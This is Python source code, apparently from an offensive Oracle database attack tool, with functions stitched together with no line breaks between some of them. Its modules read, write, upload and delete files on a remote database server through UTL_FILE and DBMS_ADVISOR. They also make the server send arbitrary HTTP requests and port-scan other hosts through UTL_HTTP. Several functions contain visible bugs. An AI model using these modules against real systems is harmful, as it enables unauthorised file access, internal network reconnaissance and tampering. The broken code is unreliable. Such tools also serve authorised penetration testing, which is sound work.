def areEquals(o1,o2):
	'''
	retourne True si o1 == o2 (case insensitive)
	'''
	if o1 == None : 
		o1 = ""
	if o2 == None : 
		o2 = ""
	if type(o1) is datetime : 
		o1 = o1.ctime()
	if type(o2) is datetime : 
		o2 = o2.ctime()
	if type(o1) is str and type(o2) is str:
		if o1.lower() == o2.lower() : return True
		else : return False
	else : logging.error("Bad comparison in the areEquals function: o1:{0}, o2:{1}".format(type(o1),type(o2))) def configureLogging(args):
	'''
	Configure le logging
	'''
	if args['verbose']==0: level=logging.WARNING
	elif args['verbose']==1: level=logging.INFO
	elif args['verbose']>=2: level=logging.DEBUG
	logging.basicConfig(format='%(levelname)s: %(message)s',level=level) class ErrorSQLRequest(Exception):
	'''
	'''
	def __init__(self, e, query=None):
		'''
		'''
		self.errormsg = str(e)
		if query != None : 
			self.query = query
		else :
			self.query = ""

	def __str__(self):
		'''
		'''
		return '`'+str(self.errormsg.replace('\n',' ').replace('\t',' '))+'`'

	def generateInfoAboutError(self, query=None):
		'''
		Return explanations,proofs,complianceStatus
		'''
		if query == None :
			explanations = "Error with the query: '{0}'".format(self.query)
		else : 
			explanations = "Error with the query: '{0}'".format(query) 
		proofs = "Error message: {0}".format(self.__str__())
		complianceStatus = -2
		return explanations, proofs, complianceStatus def sidOrServiceNameHasBeenGiven(args):
	'''
	Return True if a SID or Service Name has been given
	Otherwise return False
	- args must be a dictionary
	'''
	if ('sid' in args) == False and ('serviceName' in args) == False:
		logging.critical("The server SID or Service Name must be defined")
		return False
	if (('serviceName' in args) == True and args['serviceName'] == None) and (('serviceName' in args) == True and args['sid'] == None):
		logging.critical("The server SID or Service Name must be given with the '-d SID' or '-n serviceName' option.")
		return False
	return True def anAccountIsGiven (args):
	'''
	return True if an account is given in args
	Otherwise, return False
	- operations must be a list
	- args must be a dictionary
	'''
	if (('user' in args) ==False or ('password' in args) == False) or (args['user'] == None and args['password'] == None):
		logging.critical("You must give a valid account with the '-U username' option and the '-P password' option.")
		return False
	elif args['user'] != None and args['password'] == None:
		logging.critical("You must give a valid account with the '-P password' option.")
		return False
	elif args['user'] == None and args['password'] != None:
		logging.critical("You must give a valid username with the '-U username' option.")
		return False
	else :
		return True def ipOrNameServerHasBeenGiven(args):
	'''
	Return True if an ip or name server or a list of ips/hostnames has been given
	Otherwise return False
	- args must be a dictionary
	'''
	if ('server' in args and args['server'] != None) or \
	   ('hostlist' in args and args['hostlist'] != None) or \
	   ('nmap-file' in args and args['nmap-file'] != None):
		if (args['server']!=None):
			try:
				inet_aton(args['server'])
			except Exception as e:
				try:
					ip = gethostbyname(args['server'])
					args['server'] = ip
				except Exception as e:
					logging.critical("There is an error with the name server or ip address: '{0}'".format(e))
					return False
	else:
		logging.critical("Target(s) has to be given (with '-s IPadress' for example)")
		return False
	return True def getCredentialsFormated(dico):
	'''
	dico ex: {'user1': 'pwd1', 'user2': 'pwd2'}
	returns a string
	'''
	stringV = "\n"
	for aLogin in dico: stringV += "{0}/{1}\n".format(aLogin, dico[aLogin])
	return stringV def getSIDorServiceNameWithType(args):
	'''
	Return SID or Service Name
	Return None if an error
	'''
	if 'sid' not in args and 'serviceName' not in args:
		return None
	if ('sid' in args and args['sid']!=None):
		return "sid:{0}".format(args['sid'])
	elif ('serviceName' in args and args['serviceName']!=None):
		return "ServiceName:{0}".format(args['serviceName'])
	else:
		return None def getHostsFromFile(filename):
	'''
	Load targets from the file filename
	One ip/target by line.
	ip:port\n or ip\n and in this case, default port used (1521)
	Return a list of hosts : [['1.1.1.1',1433],['1.1.1.2',1433], etc]
	'''
	hosts, lines = [], None
	logging.debug("Trying to read hosts from {0}".format(filename))
	f = open(filename)
	lines = f.readlines()
	logging.info("Reading hosts from {0}".format(filename))
	for aHost in lines:
		aHostSplitted = aHost.replace('\n','').replace('\r','').replace('\t','').split(':')
		if len(aHostSplitted) == 1:
			hosts.append([aHostSplitted[0],1521])
		elif len(aHostSplitted) == 2:
			hosts.append([aHostSplitted[0],aHostSplitted[1]])
		else:
			logging.warning("Impossible to read this host: {0}".format(aHostSplitted))
	f.close()
	logging.debug("Hosts stored in {0}: {1}".format(filename, hosts))
	return hosts class Output ():
	'''
	All output except log used this object
	'''
	def __init__(self, args):
		'''
		CONSTRUCTOR
		'''
		self.args = args
		self.noColor = args['no-color']
		self.titlePos = 0
		self.subTitlePos = 0
		self.subSubTitlePos = 0

	def title (self, m):
		'''
		print a title
		'''
		server, port = "", ""
		m = m.encode(encoding='UTF-8',errors='ignore')
		self.titlePos += 1
		self.subTitlePos = 0
		if 'server' in self.args: server = self.args['server']
		else: server = "Unknown"
		if 'port' in self.args: port = self.args['port']
		else: port = "port"
		formatMesg = '\n[{0}] {1}: {2}'.format(self.titlePos,'({0}:{1})'.format(server,port),m.decode())
		if self.noColor == True or TERMCOLOR_AVAILABLE == False: print(formatMesg)
		else : print(colored(formatMesg, 'white',attrs=['bold']))

	def subtitle (self, m):
		'''
		print a subtitle
		'''
		m = m.encode(encoding='UTF-8',errors='ignore')
		self.subTitlePos += 1
		self.subSubTitlePos += 0
		formatMesg = '[{0}.{1}] {2}'.format(self.titlePos, self.subTitlePos, m.decode())
		if self.noColor == True  or TERMCOLOR_AVAILABLE == False: print(formatMesg)
		else : print(colored(formatMesg, 'white',attrs=['bold'])) 

	def subsubtitle (self, m):
		'''
		print a sub-subtitle
		'''
		m = m.encode(encoding='UTF-8',errors='ignore')
		self.subSubTitlePos += 1
		formatMesg = '[{0}.{1}.{2}] {3}'.format(self.titlePos, self.subTitlePos, self.subSubTitlePos, m.decode())
		if self.noColor == True  or TERMCOLOR_AVAILABLE == False: print(formatMesg)
		else : print(colored(formatMesg, 'white',attrs=['bold'])) 

	def badNews (self, m):
		'''
		print a stop message
		'''
		m = m.encode(encoding='UTF-8',errors='ignore')
		formatMesg = '[-] {0}'.format(m.decode())
		if self.noColor == True  or TERMCOLOR_AVAILABLE == False: print(formatMesg)
		else : print(colored(formatMesg, 'red',attrs=['bold'])) 

	def goodNews(self,m):
		'''
		print good news
		'''
		m = m.encode(encoding='UTF-8',errors='ignore')
		formatMesg = '[+] {0}'.format(m.decode())
		if self.noColor == True  or TERMCOLOR_AVAILABLE == False: print(formatMesg)
		else : print(colored(formatMesg, 'green',attrs=['bold'])) 

	def unknownNews(self,m):
		'''
		print unknow news
		'''
		m = m.encode(encoding='UTF-8',errors='ignore')
		formatMesg = '[+] {0}'.format(m.decode())
		if self.noColor == True  or TERMCOLOR_AVAILABLE == False: print(formatMesg)
		else : print(colored(formatMesg, 'yellow',attrs=['bold']))

	def printImportantNotice(self,m):
		'''
		print important notice
		'''
		m = m.encode(encoding='UTF-8',errors='ignore')
		formatMesg = '[!] Notice: {0}'.format(m.decode())
		if self.noColor == True  or TERMCOLOR_AVAILABLE == False: print(formatMesg)
		else : print(colored(formatMesg, 'yellow',attrs=['bold']))

	def printOSCmdOutput(self,m):
		'''
		print the output of a OS command
		'''
		print(m.encode(encoding='UTF-8',errors='ignore').decode())
		
	def getColoredString(self, string, color, attrs=[]):
		'''
		'''
		if self.noColor == True or TERMCOLOR_AVAILABLE == False: return string
		else : return colored(string, color, attrs=attrs)

	def printMessage (self, m):
		'''
		print a message
		'''
		formatMesg = '[+] {0}'.format(m)
		if self.noColor == True or TERMCOLOR_AVAILABLE == False:
			print(formatMesg)
		else :
			print (colored(formatMesg, 'white',attrs=['bold'])) def runTnsCmdModule(args):
	'''
	run the TNS cmd module
	'''
	if checkOptionsGivenByTheUser(args,["version","status","ping"],checkSID=False,checkAccount=False) == False : return EXIT_MISS_ARGUMENT
	tnscmd = Tnscmd(args)
	if args['ping'] == True:
		args['print'].title("Searching ALIAS on the {0} server, port {1}".format(args['server'],args['port']))
		alias = tnscmd.getAlias()
		if alias != None:
			args['print'].goodNews("{0} ALIAS received: {1}. You should use this alias (more or less) as Oracle SID.".format(len(alias),alias))
		else:
			args['print'].badNews("Impossible to get ALIAS")
	if args['version'] == True:
		args['print'].title("Searching the version of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port']))
		version = tnscmd.getVersion()
		if version != None:
			args['print'].goodNews("The remote database version is: '{0}'".format(version))
		else:
			args['print'].badNews("Impossible to get version")
	if args['status'] == True:
		args['print'].title("Searching the server status of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port']))
		status = tnscmd.getInformation(cmd='status')
		if status != False:
			args['print'].goodNews("Data received by the database server: '{0}'".format(tnscmd.getRecvData()))
		else:
			args['print'].badNews("Impossible to get status") class UtlFile (DirectoryManagement):
	'''
	Allow the user to read/write file on the remote database system with UTL_FILE
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("UtlFile object created")
		DirectoryManagement.__init__(self,args)

	def __createFile__(self,nameFile, data, appendMode=False):
		'''
		Create a file named nameFile in the directoryName directory containing data
		Return True if no error, otherwise return exception
		'''
		logging.debug('Create the {0} file remotly'.format(nameFile))
		strAddData = ""
		#2.a- Create the remote binary file if exist
		UTL_FILE_CREATE_FILE = "DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32766); BEGIN fi:=UTL_FILE.fopen('{0}','{1}','wb',32766); UTL_FILE.fclose(fi); END;"
		request = UTL_FILE_CREATE_FILE.format(self.directoryName, nameFile)
		response = self.__execPLSQL__(request)
		if isinstance(response,Exception):
			logging.info('Impossible to create  file with UTL_FILE: {0}'.format(self.cleanError(response)))
			return response
		#2.b- Append to the remote file
		UTL_FILE_CREATE_FILE = "DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32766); BEGIN bu:=hextoraw('{0}'); fi:=UTL_FILE.fopen('{1}','{2}','ab',32766); UTL_FILE.put_raw(fi,bu,TRUE); UTL_FILE.fclose(fi); END;"
		for aPart in [data[i:i+3000] for i in range(0, len(data), 3000)]:
			request = UTL_FILE_CREATE_FILE.format(aPart.hex(), self.directoryName, nameFile)
			response = self.__execPLSQL__(request)
			if isinstance(response,Exception):
				logging.info('Impossible to append to the file: {0}'.format(self.cleanError(response)))
				return response
		return True

	def putFile (self,remotePath, remoteNameFile, localFile=None, data=None):
		'''
		Create the localFile file (named remoteNameFile) on the remote system in the remotePath directory
		Choice between localFile or data
		Return True if no error, otherwise return exception
		'''
		if (localFile == None and data==None) or (localFile != None and data!=None): 
			logging.critical("To put a file, choose between a localFile or data")
		if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile))
		else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile))
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		if localFile != None:
			data = self.__loadFile__(localFile)
		status = self.__createFile__(remoteNameFile, data)
		if isinstance(status,Exception): return status
		self.__dropDirectory__()
		return True

	def appendFile(self,remotePath, remoteNameFile, localFile=None, data=None):
		'''
		Append to the remoteNameFile file (on the remote system in the remotePath directory) data stored on the localFile file
		Return True if no error, otherwise return exception
		'''
		logging.info('Append data stored in the {0} file to the {1} file stored in {2}'.format(localFile,remoteNameFile,remotePath))
		if (localFile == None and data==None) or (localFile != None and data!=None): 
			logging.error("To append to a file, choose between a localFile or data")		
		self.__setDirectoryName__()
		self.__createOrRemplaceDirectory__(remotePath)
		if localFile != None:
			data = self.__loadFile__(localFile)
		self.__createFile__(remoteNameFile, data, appendMode=True)
		status = self.__dropDirectory__()
		if isinstance(status,Exception):
			return status
		return True

	def getFile2 (self, remotePath, remoteNameFile):
		'''
		Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath)
		'''
		logging.info("Read the {0} remote file stored in {1}".format(remoteNameFile,remotePath))
		data = ""
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		#Get data of the remote file
		UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32000); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;"
		cursor = cx_Oracle.Cursor(self.args['dbcon'])
		try : 		
			cursor.callproc("dbms_output.enable")
			try:
				cursor.execute(UTL_FILE_GET_FILE.format(self.directoryName, remoteNameFile))
			except Exception as e:
				logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_FILE, self.cleanError(e)))
				self.__dropDirectory__()
				return ErrorSQLRequest(e)
			else :
				statusVar = cursor.var(cx_Oracle.NUMBER)
				lineVar = cursor.var(cx_Oracle.STRING)
				while True:
					cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
					if statusVar.getvalue() != 0:
						break
					line = lineVar.getvalue()
					if line == None : 
						line = ''
					data += line.decode('hex')+'\n'
				cursor.close()
		except Exception as e: 
			self.__dropDirectory__()
			return ErrorSQLRequest(e)
		self.__dropDirectory__()
		return data

	def getFile (self, remotePath, remoteNameFile):
		'''
		return data stored in the remoteNameFile file of the remotePath path
		Return False if file not exist
		'''
		logging.info("Read the {0} remote file stored in {1}".format(remoteNameFile,remotePath))
		data, currentByte = b"", 0
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		#Get data of the remote file
		#UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 1000); UTL_FILE.FSEEK(l_fileID,0,{2}); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer,{2}) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;"
		#UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(5000); hexdata VARCHAR2(10000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 5000); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_LINE(l_fileID, l_buffer, 5000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;"				
		UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer RAW(500); hexdata VARCHAR2(1000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32767); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_RAW(l_fileID, l_buffer, 500); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;"	
		if self.getFileExist (remotePath, remoteNameFile) == True :	
			length = self.getLength (remotePath, remoteNameFile)
			if length <= 0:	
				pass
			else :
				cursor = cx_Oracle.Cursor(self.args['dbcon'])
				cursor.callproc("dbms_output.enable")
				nbNewLine=0
				logging.debug("Reading the entire file ({0} bytes)...".format(length))
				while currentByte+nbNewLine < length:
					logging.debug("Reading 500 next bytes (max) from {0}...".format(currentByte+nbNewLine))
					try:
						request = UTL_FILE_GET_FILE.format(self.directoryName, remoteNameFile, currentByte+nbNewLine)
						if self.args['show_sql_requests'] == True:
							logging.debug("Executing: {0}".format(request))
						cursor.execute(request)
					except Exception as e:
						logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_FILE, self.cleanError(e)))
						self.__dropDirectory__()
						return ErrorSQLRequest(e)
					else :
						statusVar = cursor.var(cx_Oracle.NUMBER)
						lineVar = cursor.var(cx_Oracle.STRING)
						while True:
							cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
							if statusVar.getvalue() != 0: break
							line = lineVar.getvalue()
							lineBytes = bytes.fromhex(line)
							nbNewLine += lineBytes.count(b'\n')
							data += lineBytes
							currentByte += len(lineBytes)
							logging.info(lineBytes)
						currentByte += 0
				cursor.close()
		else : data = False
		self.__dropDirectory__()
		return data

	

	def getLength (self, remotePath, remoteNameFile):
		'''
		Get the file length. Return 0 if empty or
		'''
		logging.info("Get the file length of the {1}{0} file".format(remoteNameFile,remotePath))
		data = ""
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		UTL_FILE_GET_LENGTH = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(l_file_length); END;"		
		cursor = cx_Oracle.Cursor(self.args['dbcon'])
		try : 	
			cursor.callproc("dbms_output.enable")
			try:
				cursor.execute(UTL_FILE_GET_LENGTH.format(self.directoryName, remoteNameFile))
			except Exception as e:
				logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_LENGTH, self.cleanError(e)))
				self.__dropDirectory__()
				return ErrorSQLRequest(e)
			else :
				statusVar = cursor.var(cx_Oracle.NUMBER)
				lineVar = cursor.var(cx_Oracle.STRING)
				while True:
					cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
					if statusVar.getvalue() != 0:
						break
					line = lineVar.getvalue()
					if line == None : 
						line = '0'
					logging.info("The file length is: {0}".format(line))
					return int(line)
			cursor.close()
		except Exception as e: 
			self.__dropDirectory__()
			return ErrorSQLRequest(e)
		self.__dropDirectory__()
		return data

	def getFileExist (self, remotePath, remoteNameFile):
		'''
		Return true if file exists
		'''
		exist = False
		logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath))
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		UTL_FILE_EXIST = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); dbms_output.put_line(case when l_exists then 'True' else 'False' end); END;"		
		cursor = cx_Oracle.Cursor(self.args['dbcon'])
		try :
			cursor.callproc("dbms_output.enable")
			try:
				cursor.execute(UTL_FILE_EXIST.format(self.directoryName, remoteNameFile))
			except Exception as e:
				logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_EXIST, self.cleanError(e)))
				self.__dropDirectory__()
				return ErrorSQLRequest(e)
			else :
				statusVar = cursor.var(cx_Oracle.NUMBER)
				lineVar = cursor.var(cx_Oracle.STRING)
				while True:
					cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
					if statusVar.getvalue() != 0: break
					line = lineVar.getvalue()
					if line == None : 
						line = ''	
					if "True" in line : 
						logging.debug("The file exist: good news")
						return True
					elif "False" in line :
						logging.debug("The file doesn't exist") 
						return False
					else : return ''
			cursor.close()
		except Exception as e: 
			self.__dropDirectory__()
			return ErrorSQLRequest(e)
		self.__dropDirectory__()
		return data

	def deleteFile (self,remotePath, remoteNameFile):
		'''
		Delete a remote file
		'''
		logging.info("Delete the {0} remote file stored in {1}".format(remoteNameFile,remotePath))
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception):
			logging.info("Impossible to delete the file: {0}".format(self.cleanError(response)))
			return status
		UTL_FILE_DELETE_FILE = "BEGIN UTL_FILE.FREMOVE ('{0}', '{1}'); END;"
		response =self.__execPLSQL__(UTL_FILE_DELETE_FILE.format(self.directoryName, remoteNameFile))
		if isinstance(response,Exception):
			logging.info("Impossible to delete the file: {0}".format(self.cleanError(response)))
			return response
		return True

	def testAll(self):
		'''
		Test all functions
		'''
		folder = self.__generateRandomString__()	
		self.args['print'].subtitle("UTL_FILE library ?")
		logging.info("Simulate the file creation in the {0} folder with UTL_FILE".format(folder))
		logging.info('The file is not created remotly because the folder should not exist')
		status = self.putFile (remotePath=folder, remoteNameFile='temp.txt', data="test")
		if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status):
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO")			 def runUtlFileModule(args):
	'''
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","getFile",'putFile','removeFile']) == False : return EXIT_MISS_ARGUMENT
	utlFile = UtlFile(args)
	status = utlFile.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the UTL_FILE library can be used")
		status = utlFile.testAll()
	#Option 1: read file
	if args['getFile'] !=None :
		args['print'].title("Read the {0} file stored in {1} on the {2} server".format(args['getFile'][1],args['getFile'][0],args['server']))
		#fileExist = utlFile.getFileExist(args['getFile'][0], args['getFile'][1])
		length = utlFile.getLength(args['getFile'][0], args['getFile'][1])
		data = utlFile.getFile(args['getFile'][0], args['getFile'][1])
		if isinstance(data,Exception):
			args['print'].badNews("Impossible to read the {0} file: {1}".format(args['getFile'],data))
		else : 
			if data == False : args['print'].badNews("The {0} file in {1} doesn't exist".format(args['getFile'][1],args['getFile'][0]))
			elif data == '' : args['print'].badNews("The {0} file is empty".format(args['getFile']))
			else :
				args['print'].goodNews("Data stored in the {0} file sored in {1} (copied in {2} locally):\n{3}".format(args['getFile'][1],args['getFile'][0],args['getFile'][2],data))
				utlFile.writeFile(args['getFile'][2],data, mode='wb')
	#Option 2: put file
	if args['putFile'] !=None :
		args['print'].title("Put the {0} local file in the {1} folder like {2} on the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server']))
		status = utlFile.putFile(args['putFile'][0], args['putFile'][1], localFile=args['putFile'][2])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to put the {0} file: {1}".format(args['putFile'][2],status))
		else : 
			args['print'].goodNews("The {0} file was created on the {1} directory on the {2} server like the {3} file".format(args['putFile'][2], args['putFile'][0], args['server'],args['putFile'][1]))
	#Option 3: remove file
	if args['removeFile'] !=None :
		args['print'].title("Remove the {0} file stored in the {1} folder on the {2} server".format(args['removeFile'][1],args['removeFile'][0],args['server']))
		status = utlFile.deleteFile(args['removeFile'][0], args['removeFile'][1])
		if isinstance(status,Exception):
			args['print'].badNews("Impossible to remove the {0} file: {1}".format(args['removeFile'][1],status ))
		else : 
			args['print'].goodNews("The {0} file was deleted on the {1} directory on the {2} server".format(args['removeFile'][1], args['removeFile'][0], args['server'])) class DbmsAdvisor (DirectoryManagement):
	'''
	Allow the user to write file on the remote database system with DBMS_ADVISOR	
	Becareful: External job actions cannot contain redirection operators
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("DbmsAdvisor object created")
		DirectoryManagement.__init__(self,args)
	
	def putFile (self, remotePath, remoteNameFile, data=None, localFile=None):
		'''
		Put a file on the remote database server
		'''
		if (localFile == None and data==None) or (localFile != None and data!=None): 
			logging.critical("To put a file, choose between a localFile or data")
		if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile))
		else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile))
		self.__setDirectoryName__()
		status = self.__createOrRemplaceDirectory__(remotePath)
		if isinstance(status,Exception): return status
		if localFile != None :
			data = self.__loadFile__(localFile)
		response = self.__execProc__("dbms_advisor.create_file",options=(data, self.directoryName, remoteNameFile))
		if isinstance(response,Exception):
			logging.info("Impossible to create a file with dbms_advisor: {0}".format(self.cleanError(response)))
			return response
		return True

	def testAll (self):
		'''
		Test all functions
		'''
		folder = self.__generateRandomString__()	
		self.args['print'].subtitle("DBMSADVISOR library ?")
		logging.info("Simulate the file creation in the {0} folder with DBMSAdvisor".format(folder))
		logging.info('The file is not created remotly because the folder should not exist')
		status = self.putFile(folder,'temp.txt',data='data in file')
		if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status) or self.ERROR_FILEOPEN_FAILED in str(status):
			self.args['print'].goodNews("OK")
		else : 
			self.args['print'].badNews("KO") def runDbmsadvisorModule(args):
	'''
	Run the DBMSAdvisor module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","putFile"]) == False : return EXIT_MISS_ARGUMENT
	dbmsAdvisor = DbmsAdvisor(args)
	status = dbmsAdvisor.connection(stopIfError=True)
	if args['test-module'] == True :
		args['print'].title("Test if the DBMSAdvisor library can be used")
		status = dbmsAdvisor.testAll()
	#Option 1: putLocalFile
	if args['putFile'] != None:
		args['print'].title("Put the {0} local file in the {1} path (named {2}) of the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server']))
		status = dbmsAdvisor.putFile(args['putFile'][0], args['putFile'][1],localFile=args['putFile'][2])		
		if status == True:
			args['print'].goodNews("The {0} local file was put in the remote {1} path (named {2})".format(args['putFile'][2],args['putFile'][0],args['putFile'][1]))
		else :
			args['print'].badNews("The {0} local file was not put in the remote {1} path (named {2}): {3}".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],str(status)))
	dbmsAdvisor.close() class UtlHttp (Http):
	'''
	Allow the user to send HTTP request
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("UtlHttp object created")
		Http.__init__(self,args)

	def setTimeout(self,value):
		'''
		Set the timeout value with utl_http.set_transfer_timeout(value)	
		Default value = 60 s in oracle
		Return True si Ok, otherwise return the Exception
		'''
		status = self.__execProc__('utl_http.set_transfer_timeout',options=[value])
		if isinstance(status,Exception):
			logging.warning("Impossible to set the timeout value: {0}".format(self.cleanError(status)))
			return status
		else :
			logging.info('The timeout value is turned on {0} secs'.format(value))	
			return True

	def sendGetRequest(self,url):
		'''
		send a HTTP get request to url
		Return False if the current user is not allowed to use the httpuritype lib, else return False or response data
		'''
		logging.info('Send a HTTP GET request to {0}'.format(url))

		query = "select utl_http.request('{0}') as data from dual".format(url)
		response = self. __execThisQuery__(query=query,ld=['data'])
		if isinstance(response,Exception):
			logging.info('Error with the SQL request {0}: {1}'.format(query,str(response)))
			return ErrorSQLRequest(response)
		elif isinstance(response,list) and isinstance(response[0],dict):
			return response[0]['data']
		logging.info('Enough privileges')
		return ''

	def sendRequest(self,ip,port,filename):
		'''
		'''
		params = self.parseRequest(nameFileRequest=filename)
		if params == None : return False
		request = "DECLARE req utl_http.req; res utl_http.resp; buffer varchar2(4000); BEGIN req := utl_http.begin_request('http://{0}:{1}{2}', '{3}','{4}');".format(ip,port,params['url'],params['method'],params['version'])
		for key in list(params['header'].keys()):
			request += "utl_http.set_header(req, '{0}','{1}');".format(key,params['header'][key])
		if params['body'] != None:
			request += "utl_http.write_text(req, '{0}');".format(params['body'])
		request += "res := utl_http.get_response(req); BEGIN LOOP utl_http.read_line(res, buffer); dbms_output.put_line(buffer); END LOOP; utl_http.end_response(res); exception when utl_http.end_of_body then utl_http.end_response(res); END; END;"
		response = self.__execPLSQLwithDbmsOutput__(request=request)
		return response

	def testAll (self):
		'''
		Test all functions
		'''
		self.args['print'].subtitle("UTL_HTTP library ?")
		logging.info('Try to make the server send a HTTP request to 0.0.0.0 with the UTL_HTTP library')
		response = self.sendGetRequest('http://0.0.0.0/')
		if isinstance(response,Exception) and self.ERROR_NO_PRIVILEGE in str(response) or self.ERROR_NO_PRIVILEGE_INVALID_ID in str(response) or self.ERROR_XML_DB_SECU_NOT_INST in str(response): #ERROR_NO_PRIVILEGE_INVALID_ID ==> For Oracle 10g
				logging.info('Not enough privileges: {0}'.format(str(response)))
				self.args['print'].badNews("KO")
				return False
		else:
			self.args['print'].goodNews("OK")
			return True def runUtlHttpModule(args):
	'''
	Run the UTL_HTTP module
	'''
	status = True
	if checkOptionsGivenByTheUser(args,["test-module","scan-ports","send"]) == False : return EXIT_MISS_ARGUMENT
	utlHttp = UtlHttp(args)
	status = utlHttp.connection(stopIfError=True)
	utlHttp.setTimeout(5)
	if args['test-module'] == True :
		args['print'].title("Test if the UTL_HTTP library can be used")
		status = utlHttp.testAll()
	#Option 1: sendRequest
	if args['send'] != None:
		args['print'].title("Send the HTTP request stored in the {0} file".format(args['send'][2]))
		data = utlHttp.sendRequest(args['send'][0],args['send'][1],args['send'][2])
		if isinstance(data,Exception): 
			args['print'].badNews("Impossible to send the request: {0}".format(data))
		else : 
			args['print'].goodNews("Response from the server:\n{0}".format(data))
	#Option 2: scan-ports
	if args['scan-ports'] != None:
		ports = []
		if "," in args['scan-ports'][1]: ports=args['scan-ports'][1].split(',')
		elif '-' in args['scan-ports'][1]:
			startEnd = args['scan-ports'][1].split('-')
			for aPort in range(int(startEnd[0]),int(startEnd[1])): ports.append(str(aPort))
			if ports == []:
				logging.critical("The second parameter ('{0}') is not a valid: cancelation...".format(args['scan-ports'][1]))
				return -1
		elif  args['scan-ports'][1].isdigit() == True: 
			ports = [args['scan-ports'][1]]
		else: 
			logging.critical("The second parameter ('{0}') is not a valid port: cancelation...".format(args['scan-ports'][1]))
			return -1
		args['print'].title("Scan ports ({0}) of {1} ".format(args['scan-ports'][1],args['scan-ports'][0]))
		resultats = utlHttp.scanTcpPorts(httpObject=utlHttp,ip=args['scan-ports'][0],ports=ports)
		utlHttp.printScanPortResults(resultats)
	utlHttp.close() class HttpUriType (Http):
	'''
	Allow the user to send HTTP request
	'''
	def __init__(self,args):
		'''
		Constructor
		'''
		logging.debug("HttpUriType object created")
		Http.__init__(self,args)

	def sendGetRequest(self,url,printResponse=True):
		'''
		Send a HTTP get request to url
